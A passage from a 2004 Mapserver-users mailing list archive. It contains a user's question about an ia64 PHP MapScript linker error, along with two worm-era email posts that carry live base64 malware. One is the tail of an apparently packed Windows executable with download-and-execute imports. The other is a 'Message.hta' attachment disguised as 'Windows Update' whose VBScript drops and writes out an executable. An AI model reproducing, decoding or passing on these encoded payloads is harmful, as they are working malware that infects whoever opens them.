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 SprucCc6VMBPBhtsgXOCAOvAc47Av9/KJxtwZA0hxgAAAAAAAAAAIAH/AABgviWgQACNvttv //9Xg83/6xCQkJCQkJCKBkaIB0cB23UHix6D7vwR23LtuAEAAAAB23UHix6D7vwR2xHAAdtz 73UJix6D7vwR23PkMcmD6ANyDcHgCIoGRoPw/3R0icUB23UHix6D7vwR2xHJAdt1B4seg+78 EdsRyXUgQQHbdQeLHoPu/BHbEckB23PvdQmLHoPu/BHbc+SDwQKB/QDz//+D0QGNFC+D/fx2 D4oCQogHR0l19+lj////kIsCg8IEiQeDxwSD6QR38QHP6Uz///9eife5BwAAAIoHRyzoPAF3 94A/AHXyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWJ2OLZjb4AwAAAiwcJwHQ8i18EjYQw pOMAAAHzUIPHCP+WgOQAAJWKB0cIwHTciflXSPKuVf+WhOQAAAnAdAeJA4PDBOvh/5aI5AAA YekEbP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAsSoPqMBSMgsxRH3G BWqzA2S8ADMjYrCWGTkTFRa8XrstHppociQFAYpcU3iaAHOxrCUGhKJGOLy9hxsyN0THFV0y caeZmZ5HjkcDF7J+dE8crxa/JZVskzQYhLRfrEOXOBW7UyC5ECuQHxNKOIl5JKeXg5ygN5GI GlWvxhwfcS0wAxhFfxlkESOlJzQyclyOniRsgAqMQL6dGWBwBAyZn5B7BgsSY2TFsF+roC+y BpsMoMMGQaoywqk2WR0dqpeRO1pbnzZMtEdBbMB+bZ5TnzZqD0BHtMRft4mziSmoEB8CXIOv m42WtTPDBL8pLBtYNpGIo0d3gYMjlgcOPqRoYhV7f7KQoECLjjlUr4F+GHx1iZiChLK2Iotz bqokMo0dt6QLZ76sqTBAwKYoj5iMvW+AMsKwKIlIvgdsppgNlAugMHlKJSaMU6RJabZqYR5d MJ8vWJfBNDU3ORxSpbsdr8JULi8gxJWNtBGmgaxuG4R/e04gYQJwx1s4TAZoYnRQFavGeCGK BLi2VD48NjtBiXgEQ2BxLhh/swVDacbGlxU1a8VTNLOaMZVnwZchsBMyWUlvelF/FTEfmAeg mTzCxXd8WKgdUBxDpBcQpz9DWnc6elWPdHltGY4qSUiDHFu2TyNuNMctrWaQhSFPcr3HtlMy Lh1IO31cBSBEj0wivn0Iw5quUn6VIJmuS7heuq1nIlQJPHsPfK4EZnRpVAutWKN+DsdcHUtq RZKXacJ9Yi2ZfakXTW1XK4stghguNU8/LiwjpjmdeoA3W7wIUSJFkGKLmAFHtB1WKne1m75H WC4VasOgj1q2piILW0QFuJdatqWAETgkljqbwHkyeXklBS5XZyGYHAx4TiowFDouWUSiiGJ+ WyeLulQ7EH2TCE4pUHSNfpERvaRfgEOTZ7WzolBWdxiljJcli3x/vW6+PrevwUhZK2erAjwB oRgegH26imJFXh0zVjONFwQUoRZ4roPGwL5lJVphtVp7DUekXkNwHcAZHJNBM5hnwH+5O2eC Rbg0bZAEPrBIIQAgXLi5vaK8PLZMNSTFAkmhScYRayoWkTJXbYdPJUdgOHiBErwmp71bBhFi UC2/sRkFkrcUiXXFPgxPfS5JenWkwrUQFQOtRjEEKjJRNBUSVFc4ex1XLHysnE6BQAHAWbPD OhGrc7YLbHUsQLsmR1JrOwHHMxyUrhPGYUsqRy6yZRaPpBMjomK9YowdKQa3FjkUJE+rQimD JjO/p3SwjqYuwF1MTAddhHwHJ4pKbCo5fXOajI4qLZjGGbl2IkiLlJYdJpVjWX1iabOzhh5d bk2NZBxeiTxqw4kgdxc3GJOtrrYfQrytwhx0N63ClFCdoU8SW8c+G597Opqbo5GfU00GOMRv Sq4KNGo1VoAnKH9st4cIl4t+ClpEH78aYFw= ----------qdnpubvsweuwkdvqmlwk-- From aaronkoning at shaw.ca Sun Jun 13 05:00:25 2004 From: aaronkoning at shaw.ca (AARON KONING) Date: Sun, 13 Jun 2004 05:00:25 -0700 Subject: [Mapserver-users] ia64 php mapscript compile error Message-ID: <1cbe3d91cbbd21.1cbbd211cbe3d9@shaw.ca> Hi List, I am having the following problem when attempting to compile PHP Mapscript on Linux Suse under an Altix 64bit server. The error as shown below is: '@gprel relocation against dynamic symbol'. I have read that it may be be due to the fact that "...non-pic object files are linked into a shared library. The ia64 compiler _requires_ that all code in a shared library is compiled with -fpic." I have set CXXFLAGS equal to PIC and then recompiled PHP and mapserver/mapscript but I still get the same error. Anybody have any thoughts on this? Linux Suse OS: 2.4.21-215-itanium2-smp gcc: 3.2.2 PHP: 4.3.7 MapServer: 4.0.2 ---------- ERROR: # make g++ -shared -o php_mapscript.so php_mapscript_util.o php_mapscript.o mapscript_i.o -L/usr/local/src/gissrc/mapserver-4.0.2 -lmap -L/usr/local/lib -lcurl -lssl -lcrypto -ldl -lz -L/usr/local/pgsql/lib -lpq -L/usr/local/lib -lgdal.1.1 -lproj -ltiff -ljpeg -lfreetype -lpng -lz -lpdf -L/usr/local/lib -lgd -ljpeg -lfreetype -lpng -lz -ljpeg -lm -lstdc++ /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyystate /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyystring /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyystate /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyreturncomments /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyin /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyout /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyin /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyreturncomments /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyylineno /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyout /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyin /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyystring /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyystate /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyystring /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyreturncomments /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyystate /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyystring /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyreturncomments /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyystate /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyystring /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyreturncomments /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyin /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyin /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyin /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyin /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyin /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyin /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyin /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse-linux/bin/ld: /usr/local/src/gissrc/mapserver-4.0.2/libmap.a(maplexer.o): @gprel relocation against dynamic symbol msyyin collect2: ld returned 1 exit status make: *** [php_mapscript.so] Error 1 ---------------------- END ERROR Thanks, Aaron From TMitchell at lignum.com Sun Jun 13 09:36:28 2004 From: TMitchell at lignum.com (TMitchell) Date: Sun, 13 Jun 2004 10:36:28 -0600 Subject: [Mapserver-users] Incoming message Message-ID: ----------emwxjwvmbrwwgfdqjpdp Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------emwxjwvmbrwwgfdqjpdp Content-Type: application/octet-stream; name="Message.hta" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Message.hta" PEhUTUw+DQo8SEVBRD4NCjxUSVRMRT5XaW5kb3dzIFVwZGF0ZTwvVElUTEU+DQo8SFRBOkFQ UExJQ0FUSU9OIElEPSJRIiBBUFBMSUNBVElPTk5BTUU9IlEiIEJPUkRFUj0ibm9uZSIgQk9S REVSU1RZTEU9Im5vcm1hbCIgQ0FQVElPTj0ibm8iIElDT049IiIgQ09OVEVYVE1FTlU9Im5v IiBNQVhJTUlaRUJVVFRPTj0ibm8iIE1JTklNSVpFQlVUVE9OPSJubyIgU0hPV0lOVEFTS0JB Uj0ibm8iIFNJTkdMRUlOU1RBTkNFPSJubyIgU1lTTUVOVT0ibm8iIFZFUlNJT049IjEuMCIg V0lORE9XU1RBVEU9Im1pbmltaXplIi8+DQo8U0NSSVBUIExBTkdVQUdFPSJWQlNjcmlwdCI+ DQpNeUZpbGUgPSAicWZsLnZicyINClNldCBGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGlu Zy5GaWxlU3lzdGVtT2JqZWN0IikNClNldCBUU08gPSBGU08uQ3JlYXRlVGV4dEZpbGUoTXlG aWxlLCBUcnVlKQ0KVFNPLndyaXRlICJkaW0gZmlsZXN5cywgZmlsZXR4dCwgZ2V0bmFtZSwg cGF0aCwgdGV4dGZpbGUsIGkiICYgdmJjcmxmDQpUU08ud3JpdGUgInRleHRmaWxlID0gIiJx d3JrLmV4ZSIiIiAmIHZiY3JsZg0KVFNPLndyaXRlICJTZXQgZmlsZXN5cyA9IENyZWF0ZU9i amVjdCgiIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IiIpIiAmIHZiY3JsZg0KVFNPLndy aXRlICJTZXQgZmlsZXR4dCA9IGZpbGVzeXMuQ3JlYXRlVGV4dEZpbGUodGV4dGZpbGUsIFRy dWUpIiAmIHZiY3JsZg0KVFNPLndyaXRlICJnZXRuYW1lID0gZmlsZXN5cy5HZXRGaWxlTmFt ZShwYXRoKSIgJiB2YmNybGYNClRTTy53cml0ZSAiZGltIGEiICYgdmJjcmxmDQpUU08ud3Jp dGUgImE9QXJyYXkoNzcsOTAsMCwwLDEsMCwwLDAsMiwwLDAsMCwyNTUsMjU1LDAsMCw2NCww LDAsMCwwLDAsMCwwLDY0LDAsMCwwLDAsMCwwLDAsMTgwLDc2LDIwNSwzMywwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxNDQsMCwwLDAsMTY5LDM4 LDIyMSwxOSwyMzcsNzEsMTc5LDY0LDIzNyw3MSwxNzksNjQsMjM3LDcxLDE3OSw2NCwyMzcs NzEsMTc5LDY0LDIzOCw3MSwxNzksNjQsOTksODgsMTYwLDY0LDEwOSw3MSwxNzksNjQsMTcs MTAzLDE2MSw2NCwyMzYsNzEsMTc5LDY0LDQyLDY1LDE4MSw2NCwyMzYsNzEsMTc5LDY0LDgy LDEwNSw5OSwxMDQsMjM3LDcxLDE3OSw2NCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCw4MCw2OSwwLDAsNzYsMSwzLDAsMjA0LDE1LDE0NCw2NCww LDAsMCwwLDAsMCwwLDAsMjI0LDAsMTUsMSwxMSwxLDUsMTIsMCw4MCwwLDAsMCwxNiwwLDAs MCwxNDQsMCwwLDI0MCwyMjYsMCwwLDAsMTYwLDAsMCwwLDI0MCwwLDAsMCwwLDY0LDAsMCwx NiwwLDAsMCwyLDAsMCw0LDAsMCwwLDAsMCwwLDAsNCwwLDAsMCwwLDAsMCwwLDAsMCwxLDAs MCwxNiwwLDAsMCwwLDAsMCwyLDAsMCwwLDAsMCwxNiwwLDAsMTYsMCwwLDAsMCwxNiwwLDAs MTYsMCwwLDAsMCwwLDAsMTYsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDE2NCwyNDMsMCwwLDc2 LDIsMCwwLDAsMjQwLDAsMCwxNjQsMywwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDg1LDgwLDg4LDQ4LDAsMCwwLDAsMCwxNDQsMCwwLDAsMTYs MCwwLDAsMCwwLDAsMCwyLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxMjgsMCwwLDIy NCw4NSw4MCw4OCw0OSwwLDAsMCwwLDAsODAsMCwwLDAsMTYwLDAsMCwwLDcwLDAsMCwwLDIs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDY0LDAsMCwyMjQsNDYsMTE0LDExNSwxMTQs OTksMCwwLDAsMCwxNiwwLDAsMCwyNDAsMCwwLDAsNiwwLDAsMCw3MiwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsNjQsMCwwLDE5Miw0OSw0Niw1MCw1MiwwLDg1LDgwLDg4LDMzLDEy LDksMiw4LDE5MSwzOSw2MSw5NSwyMTgsMjA4LDExMSwxNTgsMTk5LDE5OSwwLDAsMjAxLDY2 LDAsMCwwLDE0NiwwLDAsMzgsMCwwLDIwNCwyNTUsMjU1LDI1NSwxNTUsMjUwLDIwMSw1OCwx MTMsNDIsNDMsMjQsMTQ0LDI0MywxNjMsNDMsMTYsMTM3LDI1MiwxMjMsOCwyMTgsMTIxLDY2 LDIzLDI0LDE0LDExNSwyMzgsMTI3LDk0LDgyLDE5MSwyNTMsMjU1LDI1NSwxODYsMjUwLDQs NTgsMTQzLDI0LDU3LDE3NSwxMTMsMjIsMTcyLDExMywxOTEsMjQyLDExMywxNDMsMjQ2LDEx MywxODMsMjM0LDI1LDIyNiw0NSw1OSwxNiwyNDIsMjAwLDI1MiwyMjAsMjU1LDE3NywyMjEs MjIzLDUsNTksMTEzLDI1NCwzOCwyMDEsNTYsMTg4LDI0LDE4LDE2NCw1MSw1NiwyNDYsMjUw LDQzLDEwNywyMzcsMTgzLDIzOSw0MiwxMyw0Miw1LDE0MywyMzQsMiwyNDYsMTcwLDE4LDU4 LDUsMCwxMywyNSwxMjcsMjUxLDI0Niw3LDEyMSw2MiwxNCwxNDYsMjUwLDIxOCw1MywxNDQs MjUwLDE4LDk3LDUyLDI1MCwxMTUsMTkxLDYsNjEsMTkxLDI1NSwxOTAsMTk3LDE5MCwxNCwx MzAsMTQ0LDEsNDgsMjQyLDE4LDQ1LDE4NiwxMywxMTksMTkxLDIsMTcwLDI1NSwxNTUsMTc1 LDEyMyw0MSwxOCw2LDIxLDgzLDEyMSwxMzUsMiwyNTAsMTQzLDI0OCwxNywyMzMsNSwxNDMs MTE5LDExMSwyMzgsMTQ1LDIsMTQsMTgsMTA2LDkxLDY3LDE0LDE3LDUzLDE1LDE4LDE3MCwx ODYsMjE5LDU0LDExNSw5Niw3MCwxMDYsMTM1LDE0LDExOSwyNTQsMTA2LDE4MywyNDYsMjIw LDEwMiwyMjYsODksOTAsMTY1LDIwMCwyMzYsNzEsMjQyLDI0OCwxODMsMjE3LDIyMiwyMjMs MTM3LDI1NCwyNSwxNDQsMjU0LDE0NiwyMiwxNjQsMTg5LDUsMjU1LDExLDE4OSwyMzcsMTkz LDE4MiwxNzAsMjAzLDcsMjAxLDQwLDEzLDcxLDEwNCwzOCwyMzgsMjQ2LDE3MywyMjAsNTMs MTczLDYsMTEzLDI1MiwyNDYsNTksMTksMjQ4LDY0LDksODEsOSwyMzksNjIsMTc4LDI1Mywx MjEsMjcsMjQ5LDksODAsMTY1LDMwLDI0MiwxNjksMTEzLDE2NywyNDYsMzMsMTQ0LDIyNCwx OCw5OSwyNDIsMTQ4LDI1MywxMTksNzMsMTIxLDU4LDE1NSw2LDgwLDE3NywxNDMsMTEsMTYx LDMxLDI0MCwxOCwxMzEsMTIzLDIzMSwyMiw1MCwyMDIsMTc3LDE4NCwyNTEsMTgsNzQsMTk3 LDE2OSwyMDIsMTczLDExNywxMjcsMjQxLDU4LDE0MiwyNDQsMTcwLDE0NCwxNDgsMzcsMTIs 